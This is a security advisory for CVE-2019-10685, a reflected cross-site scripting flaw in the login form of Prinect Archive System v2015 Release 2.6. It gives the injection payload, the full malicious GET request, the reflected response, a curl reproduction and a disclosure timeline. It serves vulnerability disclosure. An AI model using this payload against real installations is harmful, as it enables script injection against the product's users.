Prinect Archive System 2015 Release 2.6 Cross Site Scripting

`Details  
================  
Software: Prinect Archive System   
Version: v2015 Release 2.6   
Homepage: https://www.heidelberg.com  
Advisory report: https://github.com/alt3kx/CVE-2019-10685  
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10685  
CVSS: 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
CWE-79  
  
Description  
================  
A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Print Archive System v2015 release 2.6  
  
Vulnerability  
================  
The user supplied input containing JavaScript is echoed back in JavaScript code in an HTML response via the "TextField" parameter.  
  
Proof of concept  
================  
  
Reflected XSS  
Payload: %3cscript%3ealert(1)%3c%2fscript%3e  
  
The offending GET request is:   
  
GET /am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&submitmode=&submitname=&TextField=%3cscript%3ealert(1)%3c%2fscript%3e&TextField_0=l0V%21i1s%21C2 HTTP/1.1  
Host: victim_IP:8090  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  
Connection: close  
Cookie: JSESSIONID=C665EA9A7594E736D39C93EA8763A01F  
  
Reflected XSS Reponse:   
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Content-Type: text/html;charset=UTF-8  
Date: Mon, 04 Feb 2019 13:15:12 GMT  
Connection: close  
  
[../snip]  
  
id="msgContainer">Authentication failed for: <script>alert(1)</script> <br/>Click Help button for more information about login permissions.</div>  
  
# curl -i -s -k -X GET  
  
-H "Host: victim:8090"   
-H "Accept-Encoding: gzip, deflate"   
-H "Accept: */*"   
-H "Accept-Language: en-US,en-GB;q=0.9,en;q=0.8"   
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"   
-H "Connection: close"   
-H "Cookie: JSESSIONID=C665EA9A7594E736D39C93EA8763A01F"   
-b "JSESSIONID=C665EA9A7594E736D39C93EA8763A01F"   
"http://victim:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&submitmode=&submitname=&TextField=%3cscript%3ealert(1)%3c%2fscript%3e&TextField_0=l0V%21i1s%21C2"   
--proxy http://127.0.0.1:8080  
  
Final payload into URL:  
  
http://victim_IP:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&submitmode=&submitname=&TextField=%3cscript%3ealert(1)%3c%2fscript%3e&TextField_0=l0V%21i1s%21C2  
  
Mitigations  
================  
No more feedback from the vendor:  
https://www.heidelberg.com  
  
Disclosure policy  
================  
We believes in responsible disclosure.  
Please contact us on Alex Hernandez aka alt3kx (at) protonmail com to acknowledge this report.   
  
This vulnerability will be published if we do not receive a response to this report with 10 days.  
  
Timeline  
================  
  
2019-02-04: Discovered  
2019-02-25: Retest PRO environment  
2019-03-25: Retest on researcher's ecosystem  
2019-04-02: Vendor notification  
2019-04-03: Vendor feedback received  
2019-04-08: Reminder sent  
2019-04-08: 2nd reminder sent   
2019-04-11: Internal communication  
2019-04-26: No more feedback received from the vendor  
2019-05-30: New issues found  
2019-06-30: Public Disclosure  
  
Discovered by:  
Alex Hernandez aka alt3kx:  
================  
Please visit https://github.com/alt3kx for more information.  
  
My current exploit list @exploit-db:   
https://www.exploit-db.com/author/?a=1074 & https://www.exploit-db.com/author/?a=9576  
`